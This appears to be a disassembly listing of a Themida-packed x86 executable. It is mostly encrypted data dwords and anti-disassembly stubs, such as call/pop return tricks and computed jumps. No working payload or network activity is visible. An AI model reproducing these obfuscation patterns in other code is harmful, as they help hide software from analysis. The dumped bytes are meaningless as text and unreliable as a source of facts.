		dd 8657BFA7h, 0D3F58A82h, 0B9CB54D8h, 0B91B9FD5h, 3FC16648h
		dd 702A033Eh, 6ABC8077h, 0C0996432h, 0EF1F039Fh, 0D31ED04Eh
		dd 0BFD681C4h, 0B0F7E80h, 1B336A9Ch, 3F4F4644h,	5F6F1E20h
		dd 738B0200h, 7EA6DFECh, 8FB07A91h, 9ED649A0h, 82A2DD03h
		dd 0B845DBCAh, 42D49101h, 3456050Fh, 182AB579h,	636739Eh
		dd 5C6E9E82h, 3, 67A68CDAh, 7B043467h, 253A5249h, 15E6E29h
		dd 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh
		dd 1F275746h, 5585450h,	4, 8704E883h, 685C2404h, 11ACh
		dd 56240489h, 0C681E689h, 4, 8704EE83h,	895C2434h, 0BF57243Ch
		dd 3ECE63ADh, 0E991E5B8h, 8BF82944h, 0C483243Ch, 3C8B5404h
		dd 4C48324h, 4EC81h, 4890000h, 8478F24h, 52243C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 34FF5C24h, 0C4835824h,	3E2AE904h
		db 0F9h, 0FFh, 9Fh
; ---------------------------------------------------------------------------


loc_5F1E53:				; CODE XREF: Themida_:loc_5F0925j
		mov	eax, 61B4244h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 47BEB2ADh, 77FDFFDFh, 50AA1563h, 31DC9F1Dh, 6E3A8EFEh
		dd 0EAAE093h, 4133D3C1h, 49D5E13Dh, 6A84E030h, 42D1824Bh
		dd 7DBA6D57h, 14B2FA24h, 2545E4C1h, 240074A8h, 71A87D4Ch
		dd 7F1DCC51h, 546CE16Dh, 5A1893F3h, 75877143h, 54B56745h
		dd 6BFC25CDh, 84985C6h,	68560614h, 0A9C530DFh, 2C65B5FFh
		dd 858D0614h, 61778FEh,	8D8DD0FFh, 6142641h, 0FF406A51h
		dd 1402ADB5h, 0C9B5FF06h, 0FF061415h, 0ADB5FFD0h, 0FF061402h
		dd 1415C9B5h, 0BE806h, 4200000h, 8D1E66E5h, 0CC306876h
		dd 8358588Bh, 2CC104E8h, 24C10224h, 4030224h, 241CF724h
		dd 68h,	34FF5A00h, 0EB815B02h, 691ABE7Eh, 3ECDF381h, 0EB811ED6h
		dd 538AEF6Fh, 10048F53h, 3B04EA83h, 850F2414h, 0FFFFFFDAh
		dd 122D9D8Dh, 38B0614h,	840FC00Bh, 7, 5B8B038Bh, 8B188904h
		dd 3E8D8DC9h, 6A061B44h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FCCCC350h,	0EBE08166h
		dd 698D89E5h, 8006142Bh, 85C7DCF0h, 6141055h, 5DDCh, 0C7F38B66h
		dd 14013D85h, 6, 0B3E48000h, 0D09B5FFh,	0FFF90614h, 140BD995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 268F0344h, 9FBBE259h, 6A28BCE1h,	7195FF00h
		dd 8B061429h, 144CEBC0h, 0E474EDE1h, 0B7A24556h, 6AA5D88Eh
		dd 0AAD96CBCh, 4DD75CD0h, 13CC381Dh, 360E4BF9h,	20169E43h
		dd 86A4974h, 0C84C7151h, 8BD08FDDh, 635F0B1Fh, 0C8A9CF9Dh
		dd 0EC504390h, 0A3D368DFh, 0AB9AAC8Eh, 61FF270Ah, 6429B214h
		dd 0E88BEFFBh, 9, 385E1235h, 0D4589097h, 1B8C0F8Ch, 52000000h
		dd 13E8h, 0E952B600h, 7CBCDA8Eh, 6E960616h, 0BA91287Eh
		dd 0C83D4961h, 295F5859h, 140FF5B5h, 0E4C78106h, 0E900005Eh
		dd 13h,	40D8C399h, 0B6F28352h, 0CA05462Eh, 53BB3F27h, 689F2AD7h
		dd 1779h, 3823B85Eh, 1F8B3EA0h,	2511BD31h, 0EB810614h
		dd 724065FCh, 0FE9h, 0DD598B00h, 5358A516h, 0DFC278C2h
		dd 0FCC8E56Eh, 68C5C381h, 3BBA2AE2h, 8144BB5Bh,	0D8BAD2EBh
		dd 53E18A1Eh, 2DF7C081h, 78F09CBh, 58C0Fh, 81660000h, 833B0AF0h
		dd 296004EFh, 140F2185h, 0DE906h, 1AFA0000h, 37D3DCBAh
		dd 0E28CCAE8h, 61D94EDFh, 1EE81h, 850F0000h, 22h, 0B850Fh
		dd 850F0000h, 5, 130394B9h, 22E931h, 53000000h,	0CBB785CAh
		dd 0CFFFD56Dh, 0EB8ABA7Bh, 0FFFF65E9h, 0FEE225FFh, 0C9091C0Ah
		dd 201B8E6h, 0A6122D19h, 8E8h, 0DC7CE200h, 0C0625C8Dh
		dd 0BE94Eh, 0B8BB0000h,	3FB2DABCh, 0F28A5F9Ch, 0B5895A97h
		dd 6141299h, 655BC281h,	0C28A0000h, 192F68h, 5EE68A00h
		dd 1A8BAAB1h, 13E9h, 2B11400h, 0FA455EE9h, 67FD1555h, 0D18293B1h
		dd 20FB675h, 3F2CF381h,	0F381792Ah, 429E063Bh, 0D9816651h
		dd 815F1887h, 0A49399F3h, 0C810F35h, 0F000000h,	68Fh, 0D9852300h
		dd 53061434h, 4CAFCF81h, 28F6D20h, 83FBBF0Fh, 8D8B01EAh
		dd 614297Dh, 2B4A4A4Ah,	1418E58Dh, 1EE8106h, 0F000000h
		dd 0FFFF9185h, 96F580FFh, 47718D8Dh, 6A061Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4AF39EC3h
		dd 4BAB297h, 0BF0FE337h, 698D89D7h, 6A06142Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 6F6EC351h, 0B8664197h, 85C71C81h, 6141055h, 5D3Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CDC35141h, 2C2E3CCDh
		dd 0AD99589h, 0BF660614h, 85C79230h, 614013Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5F227B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F227B	proc near		; CODE XREF: Themida_:005F2273p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5F227B	endp

; ---------------------------------------------------------------------------
		stosd
		push	dword ptr [ebp+61404B1h]
		push	0
		push	ebx
		call	sub_5F229D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F229D	proc near		; CODE XREF: Themida_:005F2295p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5F229D	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		cmp	al, 34h
		rcr	ch, cl
		add	[ebp-5Dh], ebp
		jmp	loc_5F22CD
; ---------------------------------------------------------------------------
		test	eax, 8E59BA19h
		retf	2872h
; ---------------------------------------------------------------------------
		dw 78F5h
		dd 2F945ACFh, 44698A04h
; ---------------------------------------------------------------------------
		aaa


loc_5F22CD:				; CODE XREF: Themida_:005F22B5j
		call	dword ptr [ebp+6140BD9h]
		push	0
		push	edx
		call	sub_5F22DE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F22DE	proc near		; CODE XREF: Themida_:005F22D6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5F22DE	endp

; ---------------------------------------------------------------------------
		inc	ecx
		sbb	bh, [edi-13h]
		jns	loc_5F2306
		pusha
		mov	edx, [ebp+6140C25h]
		xor	[ebp+614106Dh],	esi
		popa


loc_5F2306:				; CODE XREF: Themida_:005F22F2j
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5F238E
; ---------------------------------------------------------------------------
		dw 7144h
		dd 80A7FEC9h, 0F014CF32h, 75DEFB95h, 0C47D2A0Dh, 0E37094B5h
		dd 8205CEB2h, 84663BC3h, 0D044748Dh, 9C7216h, 64B8538Eh
		dd 2C587858h, 6F2ED1EDh, 81B866D7h, 50EF84Ch, 315C2AC2h
		dd 0BBADC689h, 0F61485E9h, 381EEBF7h, 0DEEB9D7h, 19532515h
		dd 95177A3Ch, 30FCFD48h, 39D4F350h, 8326690Ch, 98DFDC66h
		dd 7C1F66C4h, 0AECEADEBh, 874F59BDh, 0D9A354C7h, 0D857EFB7h
		db 64h,	78h
; ---------------------------------------------------------------------------


loc_5F238E:				; CODE XREF: Themida_:005F2310j
		jmp	loc_5F239D
; ---------------------------------------------------------------------------
		clc
		jmp	near ptr loc_5F4E54+3
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_5F239D:				; CODE XREF: Themida_:loc_5F238Ej
		jmp	loc_5F2863
; ---------------------------------------------------------------------------
		push	61B4918h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B4990h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B4ADBh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 0C4484343h, 0AF732A5Bh, 94981530h, 8286FD0Bh, 67ABE6E5h
		dd 4342F0E4h, 305DCA4Eh, 1A36B175h, 0FA0C9B9Fh,	0AF127F83h
		dd 0EBDA330Eh, 9903B055h, 5356867h, 0A0AE487Ah,	4D71D5E5h
		dd 9EABB2C9h, 0A173D7E7h, 7388FC0Dh, 8F279AE5h,	5CD65F8Fh
		dd 0EC28C263h, 7DC149DCh, 0E752D34Eh, 7C55E432h, 39AA1A18h
		dd 1F8EBFCEh, 0D7626BEFh, 0C755E432h, 9DE1D5C8h, 32272697h
		dd 1AC555E4h, 1F2138F3h, 3AF85C6Ch, 0A92C8856h,	2E8168Bh
		dd 1E820000h, 2A5EAF59h, 5B6C4311h, 82F1C3D9h, 9CF63770h
		dd 9549DCC3h, 9FDB58B1h, 1C561985h, 3C0FA8CDh, 0B7508A84h
		dd 219CAFD3h, 58702D5Ah, 0CF4736FCh, 674AA678h,	0B098ABF4h
		dd 371B5A7Eh, 898185FDh, 7784F011h, 527CC136h, 37561540h
		dd 0C448B87Ah, 0E796A8B7h, 0B828423h, 8C32F804h, 210885Fh
		dd 30Ah, 0D85C4F7Fh, 0CB4F3E4Fh, 0B074315Ch, 9E621937h
		dd 8B8F0201h, 67662C00h, 4C79E62Ah, 3652CD51h, 1628B77Bh
		dd 8BF6A367h, 0EBDB1F2Ah, 0B57F9455h, 0E01B6180h, 0DB2AFD47h
		dd 0B5E07649h, 59569CEDh, 4DB8D3F7h, 0E2E655D2h, 197D55EBh
		dd 4845441Bh, 0DB44B7C4h, 55EBE268h, 31494440h,	979DE1D5h
		dd 0A4D4C9F8h, 0EBE23B05h, 0B2E91B55h, 131F6B6Dh, 87950569h
		dd 292h, 60A4D7F7h, 53D7C6C7h, 38FCB9D4h, 26EAA1AFh, 13178AB9h
		dd 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h, 0F34E2BEFh
		dd 0EBDB87B2h, 0CDF71C55h, 0E01B6180h, 7376A99h, 0DB367183h
		dd 80A8384h, 0DB2AB78Dh, 20583C49h, 0EBDABE81h,	306D9E55h
		dd 52494718h, 56BD223Ah, 55651837h, 7590CDF1h, 0D10EDC1Eh
		dd 9FA88BAFh, 4000001h,	84216567h, 53F092B5h, 16264ACEh
		dd 37443749h, 93E85BC4h, 0C3C053F0h, 8092F6CAh,	22ADBBD0h
		dd 7398374Eh, 907145CFh, 8456D7E4h, 6D49DC6Fh, 808BD2E9h
		dd 8391F505h, 8FBB8223h, 625955E4h, 8F9BB6F7h, 341855E4h
		dd 27FA11FEh, 0A0762758h, 3A64F84Dh, 4911E3F9h,	8BA916A3h
		dd 2833h, 6180F900h, 7CABE2E0h,	0A327574Eh, 33238CBFh
		dd 4C49DC6Ch, 0CE71B0C8h, 2C55E49Ch, 6288CA21h,	7C8BA89Ah
		dd 0A1h, 366567B8h, 4D484605h, 6B5BD93Dh, 83B8F514h, 0FB1BAEF5h
		dd 56DC1E0Dh, 84F70956h, 0A2D9EB74h, 0FCB1D2A9h, 623B8236h
		dd 4653F0A6h, 22324944h, 6D8D0F1Eh, 0C276BC03h,	265523C2h
		dd 0DFDF07F9h, 0F3080C49h, 0DC205D6Ch, 0C6494443h, 6917C3CEh
		dd 475466D6h, 0BC000001h, 920D118Ch, 6FF83C71h,	7AE52964h
		dd 52CD514Ch, 31BA7E33h, 0E598B71Fh, 0C898621h,	38739F08h
		dd 22596BF4h, 0EF48B3DEh, 55EBD85Ch, 8B78BCD7h,	48DED7F4h
		dd 0F63AF31Fh, 0EDD5715h, 0E17E82FFh, 1368ACDFh, 0CF45404Ch
		dd 36656745h, 54477906h, 2B51B0D0h, 0ED4AA510h,	53F0925Eh
		dd 32A371D5h, 49DC2C0Ah, 0F1888387h, 24A0D8D3h,	0C33168F2h
		dd 63B184EAh, 970A3940h, 0FF73CA93h, 315355E4h,	0FF0F8281h
		dd 0C44779Bh, 861B29B0h, 8B4FC52Eh, 291885F0h, 855E4CBh
		dd 5B336560h, 4ACE82A5h, 0B9F413C8h, 0BB961782h, 3855E41Eh
		dd 0DCEEDE54h, 92h, 0C2CB95E3h,	5B25FAE0h, 618057D9h, 8147E01Bh
		dd 7A49DB2Ah, 6799E616h, 5577F034h, 0D9F1ACDDh,	0B722597Dh
		dd 0EBDADB76h, 0D9D4F355h, 139361E5h, 55BFA792h, 0ACC3ACA9h
		dd 0AA990671h, 8261307Fh, 0D0B40885h, 7B8D42h, 2A6163FCh
		dd 443F4D12h, 0A1B8D334h, 80FB179Fh, 0D0E80C88h, 0BAD1BE74h
		dd 0CBF9798Bh, 42661D2Bh, 66AACE4Ah, 0A4D4C7F9h, 1D96h
		dd 0A5AFA500h, 0B8478E03h, 0E060C56Eh, 1236736Dh, 0F48B1E00h
		dd 6A2521D3h, 40D23646h, 6767B260h, 497B0434h, 29253A52h
		dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh,	6D98E717h
		dd 46471830h, 681F2757h, 2031h,	68240C89h, 3D0Dh
; ---------------------------------------------------------------------------
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 302D70FCh
		dec	ecx
		add	ecx, 0EC5A72Ch
		mov	eax, ecx
		pop	ecx
		neg	eax
		shl	eax, 7
		add	eax, 777071C4h
		sub	eax, 0F7C91620h
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		push	eax
		pop	edx
		mov	[ebp+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		aaa
		pop	edi
		jmp	fword ptr [ecx-19h]
; ---------------------------------------------------------------------------
		db 2Ah,	0Fh, 36h
		db 52h,	69h, 0FCh
; ---------------------------------------------------------------------------


loc_5F2863:				; CODE XREF: Themida_:loc_5F239Dj
		mov	eax, 61B4C47h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 31D62F80h, 454D8E37h, 63DCF18Fh, 13A52CAAh, 21F841B6h
		dd 4FCB0D96h, 51AE251Eh, 78DBAE7Dh, 5DCCC050h, 36A6EFC6h
		dd 38C13DF6h, 8E8h, 82750500h, 113F9DD3h, 6E95855h, 0C1000000h
		dd 0EB80DE3h, 0CBC081C5h, 53000059h, 7026DA81h,	0BE5A7234h
		dd 0A9291D1h, 7B8DEE81h, 0D3810A92h, 795A938Ch,	0D08B388Bh
		dd 0E75CC781h, 0EE95610h, 0BC000000h, 74EFDE15h, 0F629A4FEh
		dd 346BC3B2h, 7DF78133h, 663C2FB0h, 0B542F381h,	8616EF81h
		dd 0E5B70BE5h, 5BF85657h, 83F9008Fh, 0E18102E8h, 0FCBB020h
		dd 83F54848h, 850F01EEh, 10h, 39E9A0B3h, 44000000h, 0E0F27D60h
		dd 0E048722Ah, 12E8h, 0D7F3A100h, 0E1BA11CAh, 69F9119Bh
		dd 75538129h, 0F9578460h, 0FF86E959h, 18FFFFh, 27ED122Ah
		dd 4972E558h, 70DF84A8h, 7CFFCC44h, 0CE8h, 3CE51A00h, 0CF711286h
		dd 29112B5Dh, 0AE959h, 6BD40000h, 1C6792D7h, 0E3F30DB4h
		dd 7E95Fh, 82AB0000h, 3BF1C4F9h, 55C781ECh, 0B5000064h
		dd 0FD233A2h, 68Ah, 0BDD88100h,	8B2CABF2h, 0EB81171Ch
		dd 33A8B8F8h, 69C381F8h, 0F6A6B48h, 389h, 3BC18000h, 2EFAC381h
		dd 53F901C3h, 0CE8h, 0D2434A00h, 0B70C3F22h, 89A4DEC8h
		dd 0BE813h, 0DB3B0000h,	601D4FBh, 0AB46DC1Fh, 2720B876h
		dd 585E75E1h, 8B17048Fh, 0EA83F5F7h, 0BE804h, 18CF0000h
		dd 5D74E462h, 2F84F8B2h, 0C18150F4h, 5951992Dh,	0FA815E59h
		dd 0FFFF9C60h, 0FF89850Fh, 0B966FFFFh, 0C08B46B5h, 10F1BD83h
		dd 75000614h, 25BD8309h, 6140Eh, 53501974h, 21B8C08Bh
		dd 89000004h, 14181985h, 529D8D06h, 0FF0616A7h,	83585BD3h
		dd 140E25BDh, 17740006h, 21B85350h, 89000004h, 14181985h
		dd 419D8D06h, 0FF0616A4h, 8B585BD3h, 0B59D8BC0h, 0C6061423h
		dd 14084985h, 52685606h, 0FF9CA8B8h, 142C65B5h,	0FE858D06h
		dd 0FF061778h, 68046AD0h, 1000h, 25D9B5FFh, 6A0614h, 0C085D0FFh
		dd 0D850Fh, 0B80000h, 8D000000h, 1472AF8Dh, 8BE1FF06h
		dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h,	122DBD83h
		dd 0F000614h, 0E84h, 2D9D8B00h,	8B061412h, 141C2985h, 51038906h
		dd 49858D52h, 0FF06147Ch, 8BFA8BD0h, 8BD18BF1h,	0C6A4F3C8h
		dd 14084985h, 39685606h, 0FFD41F6Dh, 142C65B5h,	0FE858D06h
		dd 0FF061778h, 800068D0h, 6A0000h, 8BD0FF52h, 0F1BD83C0h
		dd 61410h, 0BD830975h, 6140E25h, 50197400h, 0B8C08B53h
		dd 421h, 24F18589h, 9D8D0614h, 616A7B9h, 585BD3FFh, 0E25BD83h
		dd 74000614h, 0B8535017h, 421h,	24F18589h, 9D8D0614h, 616A45Ah
		dd 585BD3FFh, 9D8DC08Bh, 614122Dh, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	4B41B818h, 0FE80000h, 0F3000000h
		dd 71C02BA6h, 716B6E0Dh, 0AA581646h, 666076E9h,	0FCA5EB81h
		dd 98D091B9h, 0E85B6143h, 0Dh, 6F437DA3h, 124EB6D2h, 85998849h
		dd 0F6B70F44h, 79C38158h, 33000071h, 10E9C9h, 0F1A10000h
		dd 46B815EEh, 6F4236FFh, 0DDB6A3BBh, 34FF615Dh,	0F2B70F19h
		dd 0A7C7815Fh, 6627437Ah, 0B8BDE281h, 804EF781h, 0BF0F02A1h
		dd 0F1EF81F2h, 0F43E092h, 1284h, 0DE900h, 443A0000h, 4D8FF04Eh
		dd 93C61745h, 57D99B29h, 0DE9h,	4FF69C00h, 95A243DAh, 3B3EFBB5h
		dd 48F5753h, 0DE80Bh, 7F4B0000h, 0B0B1F294h, 0E64948A1h
		dd 5A6C4F38h, 0F804E983h, 8F74F981h, 850FFFFFh,	19h, 29E9D48Ah
		dd 58000000h, 3C5D26DBh, 6C53225Eh, 46DF6AC6h, 2BA31E64h
		dd 0FF70E92Fh, 0B548FFFFh, 80893330h, 2B8B5C44h, 0DFEB86F7h
		dd 9DA8C8D1h, 0BE8h, 8E48600h, 459FEE9Bh, 47A7CBA1h, 59D98B66h
		dd 0E668C181h, 0B8660000h, 682CB3h, 0B8000000h,	183A9182h
		dd 8BD38B5Eh, 55BB313Ch, 815D9B75h, 9B5E33C7h, 0D5EF8163h
		dd 0BB2A3B27h, 1F5465B9h, 7DE5C781h, 0C1BA3EC1h, 890F0C63h
		dd 0E960313Ch, 0Fh, 0B093BF31h,	50CAB4F3h, 5942704Dh, 0F487DC6h
		dd 0F61FAB7h, 0EE83D7BFh, 81FCB204h, 0FF1A14FEh, 0AC850FFFh
		dd 81FFFFFFh, 9B0F5AD3h, 3BE964h, 8B600000h, 140C01BDh
		dd 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h
		dd 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h,	100F9h
		dd 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 1B526F8Dh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BD8BCB16h, 614076Dh, 2B698D89h, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0BE6824C3h
		dd 0BB9C14BBh, 0EBA6642h, 5585C74Ch, 0B4061410h, 6A000073h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0DA33C353h, 832D30EFh, 79D9523h, 85C70614h
		dd 614013Dh, 0
; ---------------------------------------------------------------------------
		xor	[ebp+6140D2Dh],	edx
		push	dword ptr [ebp+61411C9h]
		push	0
		push	ecx
		call	sub_5F2DE3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F2DE3	proc near		; CODE XREF: Themida_:005F2DDBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5F2DE3	endp

; ---------------------------------------------------------------------------
		db 0B7h
		dd 0AFCF73A7h, 0CB816606h, 95FFF393h, 6140BD9h,	95FF006Ah
		dd 6142971h, 1FEBC08Bh,	0C3F95BA0h, 0C3DACFF8h,	7A9B3493h
		dd 9148591Ch, 1D89465Ah, 597CB59Ch, 88056CE8h, 0E9EAF165h
		dd 18h,	11D2F051h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F3371
; ---------------------------------------------------------------------------
		db 0D2h, 0B2h, 0FFh
		dd 0E29BAC3Bh, 0B86811Eh, 336A9807h, 5C5170EFh,	0C97953D8h
		dd 0A443C7BAh, 0BD2AEEA7h, 95121691h, 99F43873h, 0C0B68522h
		dd 86CD55EBh, 36656702h, 4E4B4605h, 6867F8C4h, 4A470635h
		dd 55DF3B53h, 8D00029Dh, 0ADE0E27Dh, 0CCC1C29Dh, 0D83F98BCh
		dd 20E497A9h, 0C108B87h, 0C3C7793h, 5E78C99Fh, 9466CDD9h
		dd 0C9C4C19Eh, 0E09DAEB1h, 17C97E8h, 87EE7109h,	56BD9C83h
		dd 9C601B37h, 71F999EFh, 0F80123DAh, 2863653Ah,	0FAAD9110h
		dd 0FD9253F0h, 8F289B96h, 53F0FABCh, 0B9D45337h, 84AA36FCh
		dd 128594F4h, 3Eh, 3665679Eh, 929AA706h, 2A9953F0h, 41793453h
		dd 2EE28537h, 0B4D8041Bh, 787A917Eh, 8594B9B2h,	1CCh, 6667E800h
		dd 47780737h, 2B592656h, 533C5870h, 81FC0D3Ch, 0ADE0E27Dh
		dd 6867AB69h, 497A0535h, 76512754h, 7BBFD393h, 7708B47Eh
		dd 0BA29215Ch, 0F010CE7Dh, 26C14553h, 0AA5C6C29h, 0CAC7066Dh
		dd 0BAD9AFD3h, 1D88D853h, 97E9B4E7h, 1C2BE032h,	29D61h
		dd 7F0E7D8Dh, 3D85A51h,	207D8D08h, 6E8CCE25h, 68859548h
		dd 89h,	0D7F48B44h, 0E82AAEDEh,	62991433h, 84B4EF1Bh, 0ADB2F200h
		dd 0B3D7E7A2h, 6F9EADC4h, 43421932h, 930CC44Eh,	7E013974h
		dd 98255550h, 26C4167Dh, 5085948Bh, 0EC67C500h,	20F220A9h
		dd 7947h, 68676D00h, 4E7A0535h,	23243B53h, 0FB0D526Ah
		dd 315E8880h, 6F94A2DAh, 0AF497837h, 8CC4B78Bh,	0F05BCE70h
		dd 41846559h, 6131C157h, 264D12E0h, 0A355740Bh,	7BDFEFA6h
		dd 0FF0EDD57h, 911E8982h, 53F09AA2h, 23D75D21h,	0C56667D1h
		dd 0C0CE709Dh, 5D6D9189h, 0F07062DCh, 49444053h, 95222E31h
		dd 70F7E1D2h, 9BB3D789h, 6CB6DD3Ch, 0AEACC3ACh,	85953C80h
		dd 11Eh, 6C679A00h, 0D3AA1931h,	50C3FBB2h, 0F09264D7h
		dd 779BFF53h, 0E9E19CA8h, 0D6E8A76Dh, 0B8D594A7h, 107737FDh
		dd 90BBCA21h, 90711115h, 856D7E4h, 0E949DC62h, 0F80A5565h
		dd 0E4E68185h, 5B2291A9h, 0C246762Dh, 82F84530h, 44F355E4h
		dd 0B1EC1E2Dh, 5EECCA9Ah, 0DC8F054Fh, 0FB354Ah,	4AC82E8Fh
		dd 0BCEF118Eh, 0CDD1F38Ch, 0E493D160h, 0CAEE5255h, 0E5A0ADB2h
		dd 177D8AD5h, 0E493BB96h, 30543855h, 0CC236C18h, 491F7046h
		dd 0BFCA8A76h, 0D84ECAC2h, 0C8FF2D54h, 38C7DACh, 2FE53B5Fh
		dd 0A4451CDAh, 88EF8C86h, 27544779h, 79882A58h,	6C90F404h
		dd 9846F2A6h, 268BA909h, 14Ah, 1B6180F2h, 79FD90E0h, 5FFA0CD4h
		dd 0E15818EBh, 74BEA219h, 0F36CEA4Bh, 968549DCh, 0E4F73A09h
		dd 1F2EB955h, 0CAEE6A62h, 262596A6h, 0F85C6C29h, 241E1126h
		dd 21F380AAh, 0E125586Ah, 32494446h, 0AC661D2Bh, 4E3D4F10h
		dd 0C897883Eh, 0F948D5BBh, 7A55E42Bh, 7EDAF216h, 6DC0D7B4h
		dd 2B86B5F2h, 99B655E4h, 1468EC1Ch, 1B2DE230h, 0F9146B60h
		dd 0D2F38CBCh, 327A3DBh, 479541F1h, 578BA945h, 44h, 1F65805Dh
		dd 929043ECh, 0EF53D3F0h, 0EC1D6CDFh, 0C77263B1h, 0F0D3F092h
		dd 5615086Fh, 0C4407835h, 1793764Eh, 927E4255h,	2C5F43C8h
		dd 0F023D083h, 1C2F1353h, 0D946414Dh, 7DD9F1ACh, 832903B7h
		dd 47000000h, 0E01B6180h, 2C83FF75h, 9169D845h,	66EA53F0h
		dd 47D71EB0h, 0C206C0CDh, 9BFF49DCh, 4CEA1960h,	0D55F433Ah
		dd 2E7496E9h, 0E422B281h, 294D3155h, 0B6D796E5h, 6C9E4DC7h
		dd 42431A31h, 5DD7334Bh, 237CC061h, 0DA7555E4h,	3B7294B3h
		dd 0A7E8FF7h, 105A63F1h, 4BC4ECF3h, 16B1FEC9h, 0AD4FCF0Ch
		dd 0BCCE91A9h, 94B6C9C1h, 709EE119h, 96410535h,	0A594BB7Fh
		dd 4309D84Eh, 0A1C8EF48h, 1F6345F4h, 6180D91Bh,	6047E01Bh
		dd 9B49DB21h, 551487B7h, 3F407833h, 0BF759914h,	6BAFDEE0h
		dd 0BBD3CAFCh, 0B199E27Ah, 0F910FFBDh, 133EB8CAh, 0E9E26696h
		dd 1469FD4Ch, 0EE12764Eh, 108BBD2Ah, 326967F8h,	0BED6AE19h
		dd 0B98B95AFh, 7DB88BD2h, 573B4E14h, 0B766E1DDh, 6C1F2160h
		dd 9E0D3FA8h, 85C6Eh, 8CDA0000h, 4944401Fh, 676741CBh
		dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h
		dd 8EBCC3FBh, 6D98E717h, 46471830h, 511F2757h, 0C181E189h
		dd 4, 8704E983h, 248B240Ch, 37EC6824h, 2C890000h, 0C656824h
		dd 0C890000h, 58A3BD24h, 0BA525054h, 3F1B15ABh,	0F75AD521h
		dd 6EDC1DDh, 0F581D5F7h, 0FA5B12F7h, 4EC81h, 24890000h
		dd 24048124h, 4, 8BB5359h, 1000000h, 0B951CBh, 1000000h
		dd 592989D9h, 240C8B5Bh, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 8B5C240Ch, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 15E95C24h, 0C2FFF929h, 0F0B42146h, 638E50F5h
		db 0C2h
; ---------------------------------------------------------------------------


loc_5F3371:				; CODE XREF: Themida_:005F2E4Cj
		mov	eax, 61B573Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 850Fh
		dd 37317888h, 765A6DF0h, 6166559Ch, 0EE452B2Dh,	5AB2411Dh
		dd 7F701B8Ah, 981125CFh, 2CE058B2h, 0CA13258Ch,	1F8D5021h
		dd 59996655h, 74103696h, 0F29B10C7h, 3C1616DEh,	209B4505h
		dd 62C5859h, 0FBC66549h, 0E12A5D26h, 0F7867EDh,	0BB1A7C15h
		dd 773055ABh, 0E72E4487h, 9B9825D3h, 0ACAD2CF6h, 0AD8D7656h
		dd 438326EFh, 35D71D9Fh, 0BE8757Bh, 95000000h, 0CC68D261h
		dd 4404D1A3h, 9E97D60h,	0BE000000h, 0B636FBEDh,	0EC647C4Ah
		dd 0F281665Fh, 0C7815555h, 6CEDh, 0E98CB850h, 33582283h
		dd 8BDC8AF6h, 8060370Ch, 0F28B58CBh, 76F18161h,	800A712Fh
		dd 0E98117C6h, 317F7EA5h, 0E774EB81h, 0E98128C2h, 55827078h
